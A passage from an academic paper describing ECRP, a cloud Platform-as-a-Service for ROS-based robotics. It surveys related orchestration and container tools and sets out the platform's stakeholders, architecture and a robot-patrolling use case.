and robots. This design choice also allows the server to initiate communication and
send data or commands to the robot. In [18] the authors present an architecture, proto-
col, and parallel algorithms for 3D mapping in the cloud with limited computational
capabilities on the robot.

Finally, the authors of the AdAPtS framework [24] solved the autonomous access
to services from a robot which is a well-known bootstrapping problem for new
deployments in which the robot needs an initial set of context-specific services.
In addition to the service interfaces, this framework allows for the transmission of
embedded integrators for the robotic middleware.

More general PaaS platforms, such as the popular Google App Engine or Heroku
are not well suited for robotics applications since they are typically geared towards
web applications and services, with no provisioning for running application compo-
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nents other than in the cloud, requiring a manual cumbersome process to deploy an
application integrating robots and cloud resources.

Recently,2 Google has announced the future availability of its own Cloud Robotics
platform,3 however at the moment little information is available on it.

2.2 Orchestration of Robot Applications

The NIST cloud computing reference architecture [16] defines “Service Orchestra-
tion” in the context of offering cloud services as referring to “the composition of
system components to support the Cloud Providers activities in arrangement, coor-
dination and management of computing resources in order to provide cloud services
to Cloud Consumers”.

Generalizing to any IT service, we define a Resource Orchestration software as
capable of organizing and managing the lifecycle of a set of resources and Service
Orchestration software as a software able to deploy and provision multiple services,
seamlessly merging them to serve a complex offering.

TOSCA4 is a standard specification language from OASIS to describe a topology
of cloud based web services. Albeit it being a standard, its adoption in practice is
low, as cloud developers tend to adopt the specification language of their chosen
orchestration software.

Heat5 is a resource orchestrator, taking a JSON or YAML template of resources
and deploying them on an underlying infrastructure. An important feature is its
ability to easily handle configuration management of resources through cloud-init,
either using in-line configuration description or through specific resources such as
SoftwareDeployment and SoftwareConfiguration. Heat supports the initial Ama-
zon CloudFormation resources but has been developed since and now has its own
advanced features. Initially, Heat was written with OpenStack6 in mind but it has
been proven easy to develop drivers for other IaaS such as Joyent Smart Datacenter.7

Slipstream8 from SixSQ provides automated, on-demand, creation of multi-
machine runtime environments, supporting a very typical lifecycle of deployment,
provision and deletion for each resource it manages. Slipstream can easily be com-
pared to Heat as it does not have a notion of composed services, but rather coordinates
a set of virtual resources directly.

2https://www.therobotreport.com/google-cloud-robotics-platform/
3https://cloud.google.com/cloud-robotics/
4http://docs.oasis-open.org/tosca/TOSCA/v1.0/TOSCA-v1.0.html
5https://wiki.openstack.org/wiki/Heat
6https://www.openstack.org/
7https://github.com/joyent/sdc
8http://sixsq.com/products/slipstream/
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Another software is Cloudify,9 which aims to completely manage applications
defined by blueprints which specify an applications topology. Blueprints are not
limited to resources and can encompass application configuration for instance.
Blueprints manage the list of dependencies of an application as well as all workflows,
such as startup order of components and interdependencies. Cloudify is a resource
provider agnostic software, able to deploy resources in openstack, cloudstack or
AWS for instance, it is also configuration tool agnostic as it can handle configura-
tion recipes consumed by puppet, chef, or fabric. Blueprints can also use custom
workflows written in Python to handle more complex configuration of resources.
Cloudify does not use standards but has rather developed its own suite. On the other
hand, Cloudify has no built-in support for health-management of the orchestrated
application.

Nirmata10 provides a platform for the development and operations of cloud appli-
cations, with applications defined as a set of loosely coupled cloud services, each
of them being a resource template. It handles health management, but essentially
for the purpose of scaling of the application based on user-controlled policies. Each
cloud service has pluggable modules for common features such as uniform APIs
and exposed metrics. A nice feature is the possibility to package Nirmata apps into
Docker containers to easily redeploy them in other contexts as necessary or even for
simpler scaling.

Other orchestrators may not be dedicated to cloud services, such as Citrix App
Orchestration11 or Microsoft System Center Orchestrator.12

One of the outputs of the Mobile Cloud Networking (MCN)13 and T-NOVA14 EU
projects, implemented in a research prototype solution called Hurtle.15 Hurtle pro-
vides automation of the life cycle of cloud-based services. The uniqueness of Hurtle
in the orchestration state-of-the-art lays in its two-pronged approach that combines
resource orchestration and service composition in a seamless way to achieve modular
and recursive composition. Hurtle orchestration is based on the concept of service.
A service represents an abstract functionality that, in order to be performed, requires
a set of resources, be they virtual (e.g., cloud VMs, containers) or physical (e.g.,
robots, cameras). To achieve modularity and reuse, a service can be the composi-
tion of other services that provide simpler functionality (e.g., logging, monitoring,
alarming, authentication). Each composed service will have its own set of required
resources. A service instance is the concrete instantiation of a service functionality
with its associated set of concrete resources and service endpoints. The concepts and
architecture of Hurtle provide a powerful framework for the design, implementation,

9http://getcloudify.org/
10http://nirmata.com/
11https://www.citrix.com/solutions/hosted-desktops/app-orchestration.html
12https://technet.microsoft.com/en-us/library/hh237242.aspx
13http://www.mobile-cloud-networking.eu
14http://www.t-nova.eu
15http://hurtle.it
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deployment, provisioning, runtime management, and disposal of cloud robotics tasks
and applications.

To the best of our knowledge, ECRP is the first project advocating the use of cloud-
based orchestration for the control of the life-cycle of robotic application resources
and components. Current robotic development in ROS does not support complex
orchestration of multiple resources across networks and with multiple masters. ROS
launch files are the standard way to start multiple ROS nodes, they also support run-
ning nodes across distributed hosts, but assume a flat network with direct connectivity
among machines, and SSH access.16

2.3 Cross-Domain Container-Based Runtime

Docker17 combines a set of existing technologies (Linux containers, namespaces,
cgroups, chroot) into a very effective packaging, sharing, and execution toolchain
that revolutionized deployment in the cloud. Other container runtime solutions exist
(e.g., Rocket18), however Docker has quickly become the de-facto standard.

Modern applications are organized in micro-services and composed of hundreds
of containers. In order to manage them, several container management solutions have
emerged from different vendors.

Fleet19 is the container management solution from CoreOS. Docker-compose20

allows to define and run a multi-container application. Combined with docker-swarm
allows the application to be run across multiple machines. Kubernetes21 is the result
of more than 10 year of experience running containerized workloads at Google
and its research on Borg22 and Omega.23 For a relatively new project it is wildly
popular seeing contributions from across the board including Google, RedHat among
others. It is also the solution of choice of the newly formed Cloud Native Computing
Foundation (CNCF).24

Most container management solutions offer health-management capabilities, that
is a mechanism that restarts/spawns new containers in case of failures or in case the
monitored state of the application differs from the desired state. Health management
is implemented in a resilient way by leveraging on distributed shared state among
cluster nodes that is achieved through modern distributed key-values stores based
on consensus algorithms (e.g., etcd, consul, zookeeper). Container management sys-

16https://wiki.ros.org/roslaunch/XML/machine
17https://www.docker.com
18https://github.com/coreos/rkt
19https://coreos.com/fleet/docs/latest/launching-containers-fleet.html
20https://docs.docker.com/compose
21http://kubernetes.io/
22http://research.google.com/pubs/pub43438.html
23http://research.google.com/pubs/pub41684.html
24https://cncf.io
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tems are designed to work on nodes forming a low-latency cluster, the underlying
distributed key-value stores are designed to sacrifice availability for consistency in
the face of a network partition,25 hence cannot be used to seamlessly manage nodes
which can be mobile and distributed across domains like robots in ECRP.

2.4 Robot-Aware Cloud Networking—ROS-Support

for Wireless and Mobile Networks

One drawback of ROS is that it considers the robot, or a set of robots, as an isolated
system in a controlled network environment. But in real systems the underlying
network is more complex, and a moving Robot can change its access point, changing
interfaces, changing IP addressing, suffering temporal disconnections, etc.

In the case of ROS2, RTPS (Real-Time Publish Subscribe Protocol) has been
chosen since it was designed for industrial automation and robotics, later adopted
by DDS (Data Distribution Service for Real-Time Systems), an OMG specifica-
tion26 created by a spin-off of the Stanford Robotics Laboratory and Thales. Several
DDS implementations are supported by ROS, but the official standard is eProsima
Fast RTPS as selected by OSRF. Alternatives are OpenSplice DDS and Real Time
Innovations (RTI) Connext DDS.27

The different RTPS implementations have some solutions to enable protocol rout-
ing over different networks (RTI-RS28 and OpenSplice Networking Bridge29), but
there is no solution to react to IP changes, neither complete solutions for Routing
and NATing the protocol. This is a common problem of the Pub/Sub protocols.
Use of Pub/Sub pattern is very convenient, because the developer just subscribes or
publishes to topics, the middleware takes care of delivery.

By architecture design the Pub/Sub pattern exposes a lower latency/higher
throughput than the request/reply pattern. Another important feature is the ability
to use multicast. But all of this simplicity comes with a price: information about
peers locations is embedded in the protocol, and every node maintains an in-memory
database of the remote nodes, the Discovery process. This works well in isolated
and simple networks, but in complex systems with dynamic IP changes and NAT,
it simply does not work. It is straightforward to implement a Software Routing
Service using pairs of Pub/Sub for each network you want to communicate, using
simple Transmission Control Protocol (TCP) tunnels across Wide Area Networks
(WANs). There are a few commercial solutions doing this (the already cited RTI-RS

25https://www.consul.io/intro/vs/zookeeper.html
26http://www.omg.org/spec/DDS, http://www.omg.org/spec/DDSI-RTPS
27http://design.ros2.org/articles/ros_on_dds.html, https://github.com/ros2/ros2/blob/master/ros2.
repos
28https://www.rti.com/products/dds/routing-service.html
29http://download.prismtech.com/docs/Vortex/html/ospl/DeploymentGuide/networkingbridge-
service.html
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and OpenSplice Networking Bridge), but they do not solve the problem of Protocol
Native IP Mobility, neither are designed for wireless networks with packet loss and
disconnections.

2.5 Distributed Storage Across Heterogeneous Providers

and Devices

Robots, with their large amount of sensors, can be seen as an ultimate data collection
machine. While most of the related works [4, 7, 19, 30] advocate extending the
limited capacity of storage onboard the robots with virtually infinite storage capacity
in the cloud, to the best of our knowledge, except for some ground work done in
RoboEarth [31], there is no unified architectural proposal to store and handle robotics
domain specific data in a general manner.

RoboEarth, the project that aimed to build a prototype internet for robots, did some
ground work on representing robotics domain specific-data [27] and provided a basic
data-storage system consisting of a binary-blob store, a relational database, and a
triple Resource Description Framework (RDF) store. A general framework to attach
processors to the data was missing and the user had to download the data onboard the
robot or to another virtual processing environment in the cloud to do any processing.
This lead to a huge overhead and a lot of repeated work by each developer. Some other
features that were missing from the RoboEarth storage proposal include: the ability
for the external user to design schemas; basic data processors to detect duplicates
and corrupt data, which is very common when an autonomous agent collects data;
only a triple store was available for storing semantic data.

Robotics domain-specific data presents an additional set of challenges compared
to the human-user generated data. A portion of the data generated by robots can be
classified as the unstructured type as it is not necessary to associate it with prede-
fined descriptive data models (e.g., video streaming, pictures). Existing relationships
between data points can be represented on a more abstract level with data-graphs
or similar methods that enable data analytics to be performed with the help of addi-
tional metadata information. Consequently, object storage systems can be considered
as one of the most suitable and cost-effective options to persist data, together with
databases for specific structured content such as measurements sampled by sensors
and semantic knowledge.

In terms of the quantity of data that the system should support, it must be generally
considered that ECRP will have to ingest considerable amounts of content (e.g., video
streams or high-frequency samples) thus requiring elevated bandwidth to the cloud.
For this reason, the deployment of an edge/Micro Data Centre (MicroDC) component
on premises can prove as a beneficial design choice to offload robots from the task
of data handling (as data would be transferred with low-latency and high-bandwidth
to the local MicroDC) in the lines of edge-centric computing [6].
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From the point of view of data management, specific laws might require regulated
storage of acquired video streams as well as relevant information for each performed
task (e.g., positioning time series of robots to be used as probative evidence). To min-
imize the cost of long-term data archiving that may be dictated by such a requirement,
cold storage can be used as a solution for cheap persistence of data, with specific
constraints on availability (e.g., long access times). Finally, like other elements of the
PaaS, available storage services will need to support both single and multi-tenancy
in order to allow isolated as well as data-sharing scenarios across the board.

2.6 Middleware and Application Services Enablement

The value of a PaaS is in providing, finding and using service-based applications
in a uniform way. Typical components of service-enabling platforms for PaaS are
service repository, catalog, store, personalised portal as well as platform support
services in addition to infrastructure services as provided by distributed robots. In
contrast to software stores (e.g. Apple AppStore and Google Play), service stores
offer a contract-based, long-lasting relationship between provider and consumer. The
additional value can be estimated by relating to business value networks [9].

Service platforms appear in diverse forms. The direction of Service Hubs argues
for a serviceisation which involves service platforms as hubs inside a larger ecosys-
tem [22]. Such platforms consist of a broker with analytics, payment and partner
management. The work is mostly conceptual and will need further refinement for
ECRP.

Realised generic service platforms include APAM, an OSGi-based multi-service
management platform, which is however restricted to Java services, and SPACE,
which has a unified hosting concept [5, 25].

Domain-specific service platforms have become popular as well; an example is
the ComSS platform for stream processing services [26]. For robotic services, no
such platform is known. Innovative designs for distributed service platforms exist
with Wiki-WS, a collaborative platform for service communities with a rich service
lifecycle model [14]. Large-scale service repositories have been researched as well;
up to about 30000 service descriptions in the Service-Finder EU project were found
to be manageable. Finally, commercial PaaS offers exist but are almost exclusively
targeting web and telco applications as biggest domains, necessitating research on
industrial service brokering.

2.7 Software Management, CI/CD, DevOps

The software engineering community has already embraced the benefits of DevOps
(development and operations) [15] and automation by introducing approaches for CI
(Continuous Integration), and CD/CDE (Continuous Delivery/Deployment) [2].
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CI systems provide automation to compile and deploy a new software version,
Continuous Delivery (CD) systems also automate the testing tasks until a software
version that can be used as a release candidate. Continuous Deployment (CDE)
describes an extension to CD that automatically deploys a release candidate to pro-
duction [11].

Concepts like perpetual development are in place at most Internet-based compa-
nies and CDE practices have reduced the release cycles to hours or less. Green-blue
and canary deployments are also quite common, and like most best practices and
contributions have been devised and shared by large Internet-based players (e.g.,
Netflix, its tool set and practices) rather than academia.

One of the limits of the current approaches to DevOps practices are scarce (or
rather absent) focus on non-functional performance as reported in [2]. DevOps in
the presence of multi-robot/multi-domain deployments (on heterogeneous devices)
are also not addressed. Finally, stateful service migration is still dealt with in ad-hoc
fashion with little room for automation/repeatability.

3 ECRP Objectives

The first objective of the ECRP project is to establish the groundwork for the ROS-

based robotics domain towards a cloud-enabled ecosystem that embraces robotics

services in any application area.
The vision of a robotics ecosystem depends on the investment of hardware and

software developers, many of them with vested commercial interests. When it comes
to the engagement of software developers, the adoption of Cloud Computing, Infras-
tructure as a Service (IaaS) but even more Platform as a Service (PaaS), has proven to
significantly facilitate software-based innovations in any cloud-enabled application
domain. This simply by the fact that nearly unlimited resources (IaaS) combined
with a nearly unlimited set of functionality (PaaS) has become available in a native,
well-defined and unified, programmatic way to those developing applications, that
is software developers, simply by software (code) itself, the lingua franca of any
software engineer.

The potential, inherent to IaaS and even more to PaaS, to accelerate software-based
innovations makes no exception of robotics and the existence of a cloud-enabled soft-
ware development environment appears overdue. Irrespectively, no public Platform
as a Service (PaaS) for Robot-based Applications was available on the market, and
only one proposal has been made by academia, RoboEarth [31] which is the genesis
of ECRP. A commercial version of the main concepts from ERCP has been imple-
mented by our partners at Rapyuta Robotics and is offered as “rapyuta.io”,30 the first
enterprise-grade PaaS for cloud robotics using ROS.

RoboEarth, however, was focused on providing compute, storage, and networking
resources in IaaS-like approach. To this date, all benefits of the modern software

30https://www.rapyuta-robotics.com/technology_cloud
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engineering with PaaS are unavailable to one of the most important and fastest
growing markets, and this despite unquestioned innovation and commercial potential
of PaaS for connected things (Robots).31

The second objective of ECRP is to prototypically design, implement, test, deploy

and operate a complete and beyond state-of-the-art PaaS for Robotics.

This objective is to build an OSS PaaS solution for robotics and to support our
project partner Rapyuta Robotics, a high-potential ETH Zurich spin-off company
with offices in Zurich, Tokyo, and Bengaluru (India), in the process of establishing
itself as the very first dedicated PaaS-Provider for Robotics.

The aforementioned paradigm change in robotics enabled by the ROS open soft-
ware framework combined with a PaaS for Robotics (ECRP) will facilitate the devel-
opment of novel applications significantly and hereby drive the adoption of robots
in many more (new) application domains. This, however, will heavily depend on the
usefulness and usability of the proposed PaaS for Robotics, which in turn requires a
good understanding of this very particular domain.

First and foremost, PaaS is a tool for software engineers and the domain is expe-
riencing great advancements, like the adoption of Agile Software Development,32

Test-driven Software Development (TDD), Micro-Service Architectures,33 Contin-
uous Integration and Deployment, and DevOps, just to name a few. A PaaS for
Robotics that would not embrace such practices is doomed to fail.

Secondly, the Robotics domain is very specific, in terms of device abilities and
software that controls robot devices, as well as applications that make use of ser-
vices provided by robots. Hence, a distinction is to be made, between software
developers that write robotics software, hardware drivers, powertrain control mod-
ules, sense of vision, hearing, stability, autonomous navigation, mission and task
planning, and those that build applications based on robot services for industrial
(e.g. factory automation), enterprise (e.g. service industries, logistics, security), or
personal environments (e.g., care for elderly or for physically handicapped). The
operational aspects such as high-availability and service-level agreements and com-
pliance are imperative to any cloud provider. Therefore, support for all these aspects
is imperative for any PaaS for Robotics.

3.1 Robotic Development and Innovation Costs

ROS is an open-source development framework for robots. The currently commonly
used release is ROS1, but the first version of ROS2 has been released in December
2017. One of the big advantages of ROS is the large community base (see ROS
metrics34). It is by far the most used framework in robotics. What is missing though

31http://www.gartner.com/newsroom/id/3241817
32http://agilemanifesto.org/
33https://martinfowler.com/articles/microservices.html
34http://wiki.ros.org/Metrics
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is a centralized enterprise-grade quality assurance method, something started recently
by the ROS-I(Industrial) community.

ROS provides the services you would expect from an operating system, including
hardware abstraction, low-level device control, implementation of commonly used
functionality, message-passing between processes, software package management,
as well as build tools, visualization and data analytics tools.

ROS allows robotics developers to concentrate on one specific functionality at
a time (e.g. device control, based on visual and audible sensing, steering of move-
ments, navigation, 3d reconstruction) implemented into so-called ROS Nodes. The
ROS runtime “graph”, called ROS Computation Graph, is a peer-to-peer network
of nodes that are loosely coupled using the ROS Communication Infrastructure.
ROS implements several different styles of communication, including synchronous
Remote Procedure Call (RPC)-style communication over services, asynchronous
streaming of data over topics, and storage of data on a Parameter Server.

A typical ROS-based robot environment (ROS Computation Graph) would feature
a number of nodes, each node encapsulating a certain functionality and offering ser-
vices and data via an external interface that is connected via a certain communication
approach, exemplarily illustrated in Fig. 1.

To highlight the fact that ROS is essentially a service-based distributed system, this
example setup ranges across two host systems, a robot host with the a laser scanner
(also called “lidar”) and a scan-processing node, as well as a separate cloud host
that runs a Google Cartographer instance to build a map from laser scans. The two
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Node
move_base

ROS

Master

Google
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Subscribe

Registration
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Robot Cloud

/map
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Fig. 1 An example of ROS deployment on cloud
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hosts are connected with the ROS communication infrastructure, which is essentially
based on Internet Protocol version 4 (IPv4).

The ROS Master acts as a nameservice in the ROS Computation Graph. It stores
topics and services registration information for ROS nodes. Nodes communicate
with the Master to report their registration information. As these nodes communicate
with the Master, they can receive information about other registered nodes and make
connections as appropriate. The Master will also make callbacks to these nodes when
these registration information changes, which allows nodes to dynamically create
connections as new nodes are run. Nodes connect to other nodes directly; the Master
only provides lookup information, much like a Domain Name Service (DNS) server.
Nodes that subscribe to a topic will request connections from nodes that publish that
topic, and will establish that connection over an agreed upon connection protocol.

With this conceptual framework supporting ROS, what is the general software
development and operations approach behind ROS?

To answer this question a distinction has to be made, since two expert domains are
involved. First, there is the robot control domain, that is software that is required for
controlling the robot device itself, like ROS nodes that encapsulate image processing
for vision-based navigation, or software that controls an arm that is able to grasp
items. The second domain is concerned with the robot-assisted/-enabled application
domain, like an application to streamline logistics in a pharmaceutical enterprise,
or a security application that monitors large plants with drones. In cloud computing
terminology, the entire ROS framework would be the equivalent to a platform, while
the application itself would be the software developed and deployed on top of it.

A ROS-based, robot-assisted application requires ROS core services on the host
systems, like ROS Master and ROS Communication Infrastructure. In addition, a
number of ROS nodes, either developed by a robot control software developer or
provided by a third-party and available in a ROS Repository, are to be selected and
compiled either on the host systems or directly on the target robot device (see Fig. 1).
Proper selection and configuration of ROS (platform) components therefore needs
substantial knowledge about the robot domain itself. The deployment of compiled
nodes, that encapsulate device specific functions and services plus ROS core services,
is a manual process, on a per-node basis. There is a concept of launch files, a basic
script-based launch support for nodes, yet the scripts need to be tailor-made and
launched manually. All these steps are required to provide a “ROS-based platform”.

With the ROS core services and ROS nodes provided, the actual application that
makes use of the robots can be developed on top, typically by interfacing with robot
control services, encapsulated by ROS nodes, for functions like mission and task
planning, or more generally for autonomous behaviour to execute a certain task as
part of a robot-assisted application domain. This in turn requires first and foremost
a very substantial understanding of the application domain itself, its workflows and
related objectives. This is typically provided by a specialized application domain
expert.

The current approach of ROS, however, requires the application domain expert
to have comprehensive robotics expertise as well, to provide and operate the plat-
form, and meeting the functional and non-functional (reliability, robustness, timing)
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requirements of an application so far requires knowledge about robotic control ser-
vices, like software parameterization, and abilities of the underlying robot hosts.
Even if the interfaces of two ROS components (nodes) are syntactically the same,
they can be semantically different or have different execution semantics, especially
if deployed on different robots. The same applies to configuration, which is in many
cases very specific to the device, the actual robot control approach, the scale of the
deployment, or even subject to environmental parameters.

This analysis provides evidence for the present difficulties with software develop-
ment based on ROS. The framework imposes an extensive amount of device-local and
device-specific, as well as ROS-internal effort, mostly due to manual and repetitive
tasks, only to prepare the environment, on top of which robot-enabled applications
can be developed. Secondly, application developers are fully exposed to the het-
erogeneity of the underlying platform and host environments, which require very
specialized (hence rare) domain expertise in both areas, robot control and appli-
cation domain. Furthermore, the missing separation of concerns between platform
and application layer does not permit easy reuse of software, essentially impos-
ing purpose-built configurations for each environment, deployment, and application
instance.

In conclusion, the lack of a common platform concept for robotics still renders
software development and innovations a very challenging, if not prohibitively expen-
sive, exercise.

3.2 Requirements

ECRP addresses the above mentioned shortcomings, starting from identifying what
we expect to be the main stakeholders and actors in a cloud robotics ecosystem. Figure
2 represents an high level view of this ecosystem where we identified resources (in
blue) and actors.

Bottom up, the main involved roles are: Robot Hardware Manufacturer (RHM,
builds the electro mechanical system), Robot Deployment and Provisioning Engineer
(RDPE, deploys robots at the end-users’ environment: configuration, calibration,
integration with environment, testing), Robot Operator (RO, operates and maintains
robots), Robotics Systems Software Developer (RSSD, makes the robot ROS-
enabled, integrates with platform), Platform Operator (PO, operates the platform),
Enabling Algorithm and software Developer (EASD, expert in robotics and other
enabling algorithms), Robotics Enabled application developer (READ, application
domain expert)

Due to space limitations, we will not go over the complete stakeholder analysis
here. For the purpose of this paper, we will only list some highlights and assumptions
that drove our design decisions in the architecture section. In a concrete implementa-
tion of this view for a specific robotic application, the same entity can play multiple
roles. For instance, iRobot with its consumer robots Roomba plays most roles in the
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environment

Data centerEdge
Robot

Cloud Infrastructure Provider 

(CIP)

Robot Hardware 

Manufacturer 

(RHM)

Robot System Software 

Developer (RSSD)

Robot  Deployment  

and Provisioning 

Engineer (RDPE)

Robot 

Operator 

(RO)

Enabling Algorithms and Software 

Developer (EASD)

Robot Enabled Application Developer 

(READ)

End User (EU)

Platform Developer (PD)

Platform Operator (PO)

Platform

3rd party 

Enabling 

Services (3ES)

3rd party 

Enabling 

Services (3ES)

Robot Enabled 

Applications (REA)

3rd party 

Enabling 

Services (3ES)

Robot Enabled 

Applications (REA)
Robot Enabled 

Applications (REA)

Robot

Fig. 2 Cloud robotics ecosystem: actors (white) and resources (blue)

picture, AWS is the cloud infrastructure and platform provider35 and private cus-
tomers act as end users of the “iRobot HOME App” through their mobile phones.
ECRP was designed from its inception to support the development of similar (and
more complex) robot-enabled applications.

3.3 Design Goals

The main intended user of ECRP is the robot-enabled application developer (READ).
READs are first and mainly domain-specific application developers: they should
be domain and development technology experts in their specific application field
(e.g., logistics, health-care, construction, agriculture), but they are not required to be

robotics nor cloud experts.
We want the ECRP PaaS to do what cloud computing does best: hide complexity

and provide the abstraction needed to only reason in application domain terms. No
restrictions on development technologies are imposed, except for components that
interface directly with ROS which require a ROS library in the language of choice
(e.g., Python, C++, Java, JavaScript).

35https://aws.amazon.com/solutions/case-studies/irobot
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Apart from enterprise-grade applications, the platform should support applications
designed for private customers, where the only step required to “configure” a robot is
unpacking, charging eventual batteries, and connecting to the Internet either through
WiFi or a mobile network. No complex networking configuration should be required
nor expected.

3.4 Technical Assumptions

Considering our expectations concerning the robotics ecosystem, we made the fol-
lowing technical assumptions.

– ECRP applications are built using ROS-based components, hence some of the
platform-level services (e.g., the cloud bridge) are currently based on the ROS
communication primitives (e.g., services, topics, actionlib). However, nothing
prevents the development of applications not using ROS, albeit this would require
extending the cloud bridge;

– The platform assumes that the robots it manages come with the “minimal” software
stack necessary for the on-board computer to correctly interface with the robotic
hardware (e.g., device drivers and ROS nodes for each sensor/chain of actuators)

3.5 Core Features

Apart from a generic PaaS functionality [20], ECRP caters for what we consider core
productivity enhancing features while building robot-enabled applications. These
are:

– Device-Management: GUIs and APIs for robot on-boarding to the platform, SW
update, diagnostics, terminal to remote device via browser, remote task execution;

– Transparent cloud communication: on-device and in-cloud components can
communicate seamlessly hiding the complexity of networked communication
(e.g., firewall and NAT traversal);

– Orchestration of devices and services: an API lets developers programmatically
control which robots are selected to perform a specific task as well as which SW
components are started and/or stopped on the cloud, edge, and robotic devices.
This enables developers to have fine grained control over their application behavior
as well as its operating costs (e.g., by minimizing running cloud-side components
when robots are not requiring them).
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4 Architecture

Figure 3 depicts the high level architecture of ECRP. At infrastructural level (bottom),
the platform runs applications that can be distributed across cloud servers, edge
computing devices, and robots.

The base technology used for the cloud and edge devices is a container manage-
ment solution; we implemented both a Kubernetes (K8S) and an Openshift version
of ECRP. On top of this base technology we run platform components (“platform”
layer, in the middle) that implement the main platform functionalities: device man-
agement, multi-site ROS-based communication with the cloud (enabling logic for
cloud-bridge and broker), orchestration (Service Catalog and Open Service Broker).

The connection to robotic devices relies on control and management planes built
using a standard cluster management technology, as well as a dynamically provi-
sioned “cloud bridge” that acts as the data plane for applications that require ROS
data flowing between a robot and the cloud.

Finally, at application level (top layer in Fig. 3), we depict all components that are
deployed on top of the platform to execute a specific application. Some components
are transparently deployed and managed by the platform to enable communication
(e.g., cloud bridges for each robotic device, ROS master and bridge), others are
deployed by the platform upon request of instantiation of a service (e.g., navigation
service instance), and some are provided by the application developer to enable
application interaction (e.g., WebUI, Application Logic).

Fig. 3 ECRP architecture
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In the following subsections we well describe in detail the main architectural
components.

4.1 Device Manager

The Device Management (DM) functionality provides the base communication
between a device and the cloud platform. Unlike the communication traversing the
cloud-bridge, which is ROS-specific and intended to be active only while the robot is
performing some task, the device management functionality is expected to be always
ON, as it is the only mechanism intended to allow messages supporting orchestration
to and from the robot. It is intended to:

– Allow a robot to register its availability to the platform;
– Support software installation and update;
– Provide minimal position, diagnostics, and state information from the robot to the

cloud platform;
– Run software components on the robot and manage their lifecycle as part of

orchestration;

Seen from the perspective of the entire platform functionality, device management
is the enabler of orchestration: that is managing what processes/services are running
on what devices.

Due to the asymmetrical communication (e.g., NATing, private IPs) between cloud
and on-premise components, device management requires a simple software agent
to be installed on robots and devices connected to the ECRP platform. The agent
connects to a cloud-based device management service through which it receives
commands implementing the functionality described above. Additional computa-
tional nodes on premises (edge devices) can be managed through the platform either
via the device management solution or directly via the Kubernetes (K8S) interfaces
(kubelet agent on host).

4.2 Cloud Bridge

Cloud bridges in ECRP provide the (single or multiple) interconnection(s) at ROS
level between ROS nodes running on premises (physically in a robot, or on an edge
device if needed) and ROS nodes running in the cloud. This allows to relay mes-
sages on topics/services on premises and in the cloud as if they were generated in a
contiguous domain. In ROS terms, the cloud bridge acts as a subscriber to messages
in a source ROS environment and as a publisher in a destination environment by
registering to the appropriate ROS masters.

As for the device manager, due to the asymmetrical nature of networking between
cloud and on-premise components, a cloud bridge uses a publicly accessible (network
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of) broker node(s) in the cloud to act as connection point for multiple cloud bridge
clients on robot, edge, or cloud applications. In Fig. 3 we represented the functionality
of the cloud bridge relaying messages between two ROS environment with a directed
dashed line albeit the actual communication goes through a broker.

Cloud bridges are configurable with respect to what ROS topics and services will
be relayed to a broker and with which QoS semantics (e.g., best-effort vs in-order
reliable delivery, eventual compression). Depending on network configuration, edge
can directly be part of a shared ROS environment with robots on premises, or they
can also be configured to use a cloud bridge.

4.3 Orchestration

Orchestration is the functionality that makes every aspect of robot enabled applica-
tions, including each of their components and resources, programmable. In order to
raise the abstraction bar and simplify the development of applications through func-
tionality composition, in ECRP we use the concept of “service”, mutuated from the
upcoming Open Service Brocker (OSB) specification36 together with the Kubernetes
service catalog concept.

According to the OSB specification, a service is a “managed software offering that
can be used by an Application”, for instance a service is the functionality offered by a
PostgreSQL database. A service instance is “An instantiation of a Service offering”,
that is a provisioned instance of a PostgreSQL database that can be accessed by an
application. A service broker manages the life-cycle of service instances, while a
service catalog is “an extension API that enables applications running in Kubernetes
clusters to easily use external managed software offerings, such as a datastore service
offered by a cloud provider. It provides a way to list, provision, and bind with external
Managed Services from Service Brokers without needing detailed knowledge about
how those services are created or managed”.37

With respect to both the Web services literature and the concepts from the
K8S/OSB specification, a service in ECRP has the additional characteristic of being
possibly tied to one (or more) robot(s). Moreover, ECRP services are designed to
easily allow composition and reuse. We will illustrate these concepts with a concrete
example.

Robopatrol [29] (see Fig. 4) is a simple patrolling application based on a Turtlebot
2 and implemented as our first use case in the ECRP project. The user is given a Web
UI through which she can drive the robot around on a map and see a live stream
from its camera. One or more maps of the environment can be constructed by the
robot through manual or autonomous exploration. The core functionalities of the
application (e.g., web-based map navigation, video streaming) are implemented as
different “services”, whose instantiation triggers the deployment and execution of

36https://github.com/openservicebrokerapi/servicebroker
37https://kubernetes.io/docs/concepts/service-catalog/
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Fig. 4 Robopatrol components

several intercommunicating components across the cloud and the chosen robot. For
example, an instance of service “navigation” can be created by selecting a robot
available through the device manager. As depicted in Fig. 3, the instantiation of the
service will start the required ROS nodes on the selected robot (i.e., move-base,
rplidar, amcl) and the cloud (i.e., map-publisher), as well as configure the cloud-
bridge to allow the map and the navigation commands to flow between them. With
the same principle, the entire RoboPatrol application can be deployed as an instance
of its own specific service. The core cloud components being deployed (i.e., the Web
interface and the core application logic) use the service catalog to programmatically
create the instances of the services needed by the application functionality.

Orchestration of services allows the platform to support the implementation of a
service market built on top of the service catalog. This is in line with the concept
of “3rd party enabling services” and the role of enabling algorithm and software
developer (EASD) in our robotic ecosystem analysis (see Fig. 2). EASDs are devel-
opers that provide services that can be instantiated and composed into applications
by READs. Apart from the base functionality provided by the platform, 3rd party
services extremely simplify and reduce the effort needed to develop an application

with ECRP. With this metaphor, referring to the top of Fig. 3, RoboPatrol develop-
ment in ECRP only consists in developing two components (i.e., the “Web UI” and
“application logic”) since the “navigation” service is provided in the catalog and the
rest of the application components are provided and managed by the platform.

5 Discussion

5.1 Progress Beyond the State of the Art

Cloud robotics The current state of the art of cloud robotics only sees initial efforts
in running robot clones in the cloud, still using manual setup processes and not
adopting cloud-native design principles. The result are simple, brittle, non-scalable
robotics applications with loose integration to the cloud and manual deployments.
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ECRP builds the basis for a reliable and scalable cloud robotics PaaS significantly
advancing the current software development practice, lowering the access barriers to
robot-enabled application developers to the wide community of cloud-based/domain-
specific application developers.

Moreover, the project also addressed the operational aspects and costs of running a
cloud robotics platform, providing specific solutions for addressing continuous inte-
gration, deployment and orchestration for robotics, as well as considering advanced
resource management solutions in order to extend the economical advantages. The
commercial implementation of ECRP integrates specialized robotics hardware (e.g.
X86, ARM, Sensors, GPUs, FPGAs, Vision), ROS nodes containerization and place-
ment, eliminating the need of sizing of physical computation, and providing software
developers a complete development, build, test, simulation and code management
environment supporting multiple architectures.

Several players are starting to address the cloud robotics space. TheConstruct-
Sim38 is focused on providing ROS education through the use of virtual machines
and Gazebo simulation, it is not however a platform do develop and run applications
controlling multiple physical robots.

